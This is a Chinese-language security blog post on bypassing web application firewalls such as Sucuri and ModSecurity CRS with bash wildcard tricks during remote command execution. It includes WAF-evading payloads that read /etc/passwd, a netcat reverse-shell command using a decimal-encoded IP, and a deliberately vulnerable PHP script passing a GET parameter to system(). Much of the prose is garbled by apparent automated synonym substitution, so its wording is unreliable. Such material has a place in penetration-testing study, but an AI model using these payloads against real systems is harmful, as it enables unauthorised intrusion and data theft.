|
|
|
联系客服020-83701501

如何绕过 Web 应用程序防火墙(WAF)?

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
如何绕过 Web 操作挨次防火墙(WAF)?
在 Web 操作挨次中发现远程命令实行缝隙并不罕见,「OWASP Top 10 2017」榜单中,把“注入”放在第一位,即可见一斑:

当打击者把作为命令或查问的不可信数据发送给表达器时,会发作注入缝隙,如 SQL,NoSQL,OS 和 LDAP 注入。打击者的数据也许会诱使表达器实行意外的命令或在没有受权的环境下会晤数据。

 

全体现代 Web 操作防火墙都能拦挡 RCE 尝试,可是当它发生在 Linux 细碎中时,我们曾经有了动作来遁藏 WAF 规则集。

浸透测试中,很无效的字符是「通配符」。在劈头最先做 WAPT 夙昔,我想陈说你一些你也许不知道的 bash 和通配符的用法。

 

非凡的通配符用法
Bash 标准通配符(也称为通配符形式)被各类命令行实用挨次用于处置多个文件。并非每集团都知道 bash 语法能够使用问号??、正斜杠?/、数字和字母来实行细碎命令。你乃至能够胪列文件并使用类似数量的字符获取其形式。举几个栗子:能够使用以下语法来包办 ls 命令:

/???/?s

用这种语法,你能够基础底细做到你想做的任何变乱。假如存在缝隙的目的位于WAF的反面,而且此 WAF 有一条规则,该规则可制止包括?/etc/passwd?或?/bin/ls?在 GET 参数的值内或 POST 标明中的全体乞求。

假如你试图发出如许的乞求,/?cmd=cat+/etc/passwd?它将被目的 WAF 制止,你的 IP 将被永恒禁止,并被标识表记标帜为?yet another f***in’ redteamer。但你有通配符这个秘密武器。

假如目的 WAF 不制止查问字符串里的???和?/,你即能够很复杂地让你的乞求(url 编码)酿成如许:/?cmd=%2f???%2f??t%20%2f???%2fp??s??

上图所示,有 3 个舛误 :/bin/cat *: Is a directory。发生这种环境是因为?/???/?t?能够被全局过程表达成?/bin/cat,也可以表达成?/dev/net?或?/etc/apt 等。

问号通配符能够代表任何字符。因此,假如你知道一个文件名的一部门,那么你能够使用这个通配符。譬喻,ls *.????将列出当前目次中全体长度为 3 个字符的文件扩充名。因此,你将会看到存在诸如 .gif,.jpg,.txt 之类扩充名的文件。

使用这个通配符,你能够用?netcat?实行一个反弹 shell。假如你需求在端口 1337(群体?nc -e /bin/bash 127.0.0.1 1337)实行一个 127.0.0.1 的反弹 shell?,你能够用下面的语法来实现:
/???/n? -e /???/b??h 2130706433 1337

将 IP 地址127.0.0.1转换为长整数格局(2130706433),能够避免在 HTTP 乞求中使用?.?字符。

在 kali 中,需求使用?nc.traditional?而不是?nc,没有?-e?参数,以便?/bin/bash?连贯后实行。无效载荷酿成如许:

/???/?c.??????????? -e /???/b??h 2130706433 1337

使用通配符实行反弹 shell

在对我们刚刚看到的两个命令中止总结:

Default
1234567 标准:/bin/nc 127.0.0.1 1337?绕过:/???/n? 2130706433 1337?使用字符:/?? n [0-9] 标准:/bin/cat /etc/passwd绕过:/???/??t /???/??ss??使用字符:/?? t s

为甚么使用???而不是?*?因为?*?遍布用于攻讦语法,许多 WAF 为了避免 SQL 注入而过滤它,像?UNION+SELECT+1,2,3/*

 

使用 echo 来胪列文件和目次。该 echo 命令能够使用通配符胪列文件细碎上的文件和目次。譬喻?echo /*/*ss*?:

这命令能够在 RCE 缝隙中使用,以获取目的细碎上的文件和目次,譬喻:

但为甚么使用通配符(极端是问号)能够绕过 WAF? 

Sucuri WAF?绕过

测试 WAF 规则集的最好动作是甚么?建立一个有缝隙的 PHP 脚本,并尝试全体也许的技艺。在上图的左上方的窗格中,是一个有缝隙的PHP脚本。

Default
1234 <?php      echo 'ok: ';      print_r($_GET['c']);      system($_GET['c']);

在左下方的窗格中,你能够看到对这个web(test1.unicresit.it)中止远程命令实行测试。正如你所看到的,Sucuri WAF 以?An attempted RFI/LFI was detected and blocked?来因制止乞求。 

右窗格显示了同样的乞求,但却使用???作为通配符,后果是 Sucuri WAF 没有制止这个乞求,操作挨次实行了放入?c?参数的命令。当初即能够读取?/etc/passwd?文件,乃至更多。

我能够读取操作挨次大师的 PHP 源代码,能够使用 netcat(/???/?c)实行反弹 shell,能够或许我能够实行 curl 或 wget 来获取Internet处事器的真实 IP,使我也许颠末直连续接目的来绕过 WAF。

 

ModSecurity OWASP CRS 3.0
以下文档很好地概述了每个级别在 REQUEST PROTOCOL ENFORCEMENT?规则上的责任事理。 PL1应允的查问字符串包括 1-255 范围内的 ASCII 码,从PL1到PL4,应允的 ASCII 码越来越少。
Default
1234567891011121314151617181920212223242526 # -=[ Targets and ASCII Ranges ]=-## 920270: PL1# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES# ASCII: 1-255# Example: Full ASCII range without null character## 920271: PL2# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES# ASCII: 9,10,13,32-126,128-255# Example: Full visible ASCII range, tab, newline## 920272: PL3# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY# ASCII: 32-36,38-126# Example: Visible lower ASCII range without percent symbol## 920273: PL4# ARGS, ARGS_NAMES and REQUEST_BODY# ASCII: 38,44-46,48-58,61,65-90,95,97-122# Example: A-Z a-z 0-9 = - _ . , : &## 920274: PL4# REQUEST_HEADERS without User-Agent, Referer, Cookie# ASCII: 32,34,38,42-59,61,65-90,95,97-122# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE

Paranoia Level 0?(PL0)

PL0?封锁的防护规则较少,我们的代码也许正常实行。

Default
123456 SecAction "id:999,\phase:1,\nolog,\pass,\t:none,\setvar:tx.paranoia_level=0"

Paranoia Level 1 and 2 (PL1,?PL2)

PL1 和PL2 都邑拦挡原始的乞求,可是假如使用 ? 作为通配符,该乞求不会被WAF 拦挡。

Default
123456 SecAction "id:999,\phase:1,\nolog,\pass,\t:none,\setvar:tx.paranoia_level=1"

之所以发生这种环境,是因为???,/?和空格在规则 920271 和 920272 的可遭受字符范围内。另外,使用???也许避开细碎文件过滤规则,拦挡对操纵细碎罕用命令和文件的会晤。

 

Paranoia Level 3?(PL3)

PL3能够制止包括???等字符超越 n 次的乞求。实践上,我的乞求被拦挡为:?Meta-Character Anomaly Detection Alert?—?Repetitive Non-Word Characters

可是作为测试用的 Web 操作挨次非常蹩脚,复杂受到打击,所以我能够使用较少的 ?,并使用以下语法读取 passwd 文件:c=/?in/cat+/et?/passw?

正如你所看到的,只用 3 个??,我即能够避开 PL3 级别的防护,读取目的细碎中的 passwd 文件。?

Paranoia Level 4?(PL4)

PL4 级别的防护基础底细无法绕过,a-z A-Z 0–9 以外的字符都被屏蔽了。当你需求实行一个命令来读取文件时,有 90% 的概率需求一个空格字符或?/。

论断
使用一些不罕用的bash命令的材干,仍是能够绕过WAF的防护的。 

作者: 行长叠报

数安新闻+更多

证书相关+更多